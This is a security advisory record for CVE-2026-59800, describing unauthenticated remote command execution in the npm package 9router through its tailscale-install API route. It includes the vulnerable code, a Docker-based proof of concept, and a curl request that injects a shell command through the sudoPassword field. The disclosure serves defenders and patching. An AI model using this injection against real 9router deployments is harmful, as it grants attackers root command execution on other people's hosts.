{"id":"CVE-2026-59800","aliases":["GHSA-g6g7-pvmx-m74p"],"title":"9router: Missing Authorization and OS Command Injection","summary":"9router: Missing Authorization and OS Command Injection","severity":"critical","cwe":["CWE-78","CWE-862"],"vendor":"9router","product":"9router","ecosystem":"npm","affected":["9router < 0.4.44"],"patched":["9router 0.4.44"],"published":"2026-07-02","updated":"2026-07-07","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-g6g7-pvmx-m74p","references":[{"url":"https://github.com/decolua/9router/security/advisories/GHSA-g6g7-pvmx-m74p"},{"url":"https://github.com/decolua/9router/releases?q=0.4.44&expanded=true"},{"url":"https://github.com/advisories/GHSA-g6g7-pvmx-m74p"}],"tags":["ghsa","npm"],"ingestedAt":"2026-07-08T12:59:18.430Z","epss":0.02043,"epssPercentile":0.80311,"slug":"CVE-2026-59800","body":"## Overview\n\n# Unauthenticated RCE via `/api/tunnel/tailscale-install`\n\n**Affected:** `9router` (npm package) — current master (`v0.4.39`).\n\n### Summary\n\n`POST /api/tunnel/tailscale-install` accepts a JSON body with a `sudoPassword` field and pipes it, followed by the body of `https://tailscale.com/install.sh`, into a child process spawned as `sudo -S sh`. The route is not present in the dashboard middleware matcher in `src/proxy.js`, so the request reaches the handler without invoking `dashboardGuard.proxy()`. In deployments where the Node process runs as root (Docker images derived from `node:*` without a `USER` directive, `npm i -g 9router` invoked as root, or `systemd` units without `User=`), the spawned `sh` runs as root and executes the attacker-supplied bytes.\n\n### Details\n\n#### 1. Middleware matcher (`src/proxy.js:3-15`)\n\n```js\nexport const config = {\n  matcher: [\n    \"/\",\n    \"/dashboard/:path*\",\n    \"/api/shutdown\",\n    \"/api/settings/:path*\",\n    \"/api/keys\",\n    \"/api/keys/:path*\",\n    \"/api/providers/client\",\n    \"/api/provider-nodes/validate\",\n    \"/api/cli-tools/:path*\",\n    \"/api/mcp/:path*\",\n  ],\n};\n```\n\nNext.js invokes the middleware only for paths matching this list. Routes that are not listed — including the entire `/api/tunnel/*` family — do not invoke `dashboardGuard.proxy()`. No cookie, JWT, CLI token, or `Host`-header check is applied to them.\n\n#### 2. Route handler (`src/app/api/tunnel/tailscale-install/route.js:18-67`)\n\n```js\nexport async function POST(request) {\n  const body = await request.json().catch(() => ({}));\n  ...\n  const sudoPassword =\n    body.sudoPassword || getCachedPassword() || await loadEncryptedPassword() || \"\";\n  ...\n  const result = await installTailscale(sudoPassword, shortId, (msg) => {\n    send(\"progress\", { message: msg });\n  });\n  ...\n}\n```\n\n`body.sudoPassword` comes from the request body and is passed to `installTailscale`, which dispatches to `installTailscaleLinux` on Linux.\n\n#### 3. Linux installation routine (`src/lib/tunnel/tailscale.js:304-341`)\n\n```js\nasync function installTailscaleLinux(sudoPassword, log) {\n  log(\"Downloading install script...\");\n  return new Promise((resolve, reject) => {\n    const curlChild = spawn(\"curl\", [\"-fsSL\", \"https://tailscale.com/install.sh\"], { ... });\n    let scriptContent = \"\";\n    curlChild.stdout.on(\"data\", (d) => { scriptContent += d.toString(); });\n    curlChild.on(\"exit\", (code) => {\n      if (code !== 0) return reject(...);\n      log(\"Running install script...\");\n      const child = spawn(\"sudo\", [\"-S\", \"sh\"], { stdio: [\"pipe\", \"pipe\", \"pipe\"], windowsHide: true });\n      ...\n      child.stdin.write(`${sudoPassword}\\n`);   //  ← from request body\n      child.stdin.write(scriptContent);\n      child.stdin.end();\n    });\n  });\n}\n```\n\nThe byte stream sent to the stdin of the `sudo -S sh` child process is:\n\n```\n<sudoPassword from request body>\\n\n<https://tailscale.com/install.sh body>\n```\n\nWhen the caller is already root, has `NOPASSWD` configured for the user, or has a recent sudo timestamp cache, `sudo -S sh` does not read stdin for a password — it `exec`s `sh` directly. The new `sh` process inherits the stdin pipe and reads it line by line:\n\n1. The `sudoPassword` value from the request — interpreted as the first shell command.\n2. The `install.sh` body — interpreted as subsequent shell input.\n\nAppending `; exit 0` to the `sudoPassword` value causes `sh` to exit before the legitimate `install.sh` body runs. The host executes only the request-supplied bytes, as the 9router process user.\n\nBoth \"Docker container running as root\" and \"`npm i -g 9router` on a host with `NOPASSWD` sudo\" reach this path.\n\n### PoC\n\nThe reproduction below is self-contained: build a representative target image (Node process running as root, with `sudo` and `curl` on `PATH`), start it, send one unauthenticated POST with `curl`, and read the file written by the payload.\n\n**Step 1 — build the target image**\n\n```sh\ndocker build -t 9router-vuln-root - <<'EOF'\nFROM node:22-bookworm-slim\nRUN apt-get update && apt-get install -y --no-install-recommends \\\n        sudo curl ca-certificates \\\n    && rm -rf /var/lib/apt/lists/*\nRUN npm install -g 9router@0.4.39\nEXPOSE 20128\nCMD [\"9router\"]\nEOF\n```\n\n**Step 2 — start the target**\n\n```sh\ndocker run -d --rm --name target -p 127.0.0.1:20129:20128 \\\n    9router-vuln-root 9router --log --skip-update\nuntil curl -fs -o /dev/null http://127.0.0.1:20129/api/health; do sleep 1; done\n```\n\n**Step 3 — exploit (one unauthenticated POST)**\n\n```sh\ncurl -sN -X POST http://127.0.0.1:20129/api/tunnel/tailscale-install \\\n     -H 'Content-Type: application/json' \\\n     -d '{\"sudoPassword\":\"id > /tmp/pwned.txt; exit 0\"}'\n```\n\n**Step 4 — verify**\n\n```sh\ndocker exec target cat /tmp/pwned.txt\n# uid=0(root) gid=0(root) groups=0(root)\n```\n\nThe trailing `\"Tailscale not installed\"` line is a consequence of `; exit 0` terminating `sh` before the legitimate `install.sh` body executed; the `id > /tmp/pwned.txt` write completed earlier in the same `sh` invocation. The POST carried no credentials, cookies, or prior state.\n\n### Impact\n\n**Type:** Improper Access Control + OS Command Injection (CWE-862 + CWE-78).\n\n**Affected operators:** 9router operators on Linux/macOS whose deployment matches one of the following configurations:\n\n| Configuration | Example | Outcome |\n|---|---|---|\n| Node process runs as root | Custom `Dockerfile` without `USER`, `systemd` unit without `User=`, `sudo npm i -g 9router && sudo 9router` | Unauthenticated remote root RCE (primary case in this report) |\n| Node process runs as a normal user with `NOPASSWD` sudo | Developer laptop, CI runner, or single-tenant VPS where the operator's user has `NOPASSWD: ALL` | Unauthenticated remote RCE as the operator's user; root reachable via `sudo` from the foothold |\n| Node process runs as a normal user without `NOPASSWD` and no stored password | Hardened multi-user host | The spawn runs but `sudo` rejects the supplied value. No RCE; the request still triggers an outbound fetch from `tailscale.com` and the SSE error stream reveals platform information |\n\n## Affected packages\n\n- `9router < 0.4.44`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `9router 0.4.44`","depth":"midnight","depthScore":53,"depthScoreParts":{"impact":52.3,"likelihood":0.4,"exploitation":0,"ransomware":0},"changes":[]}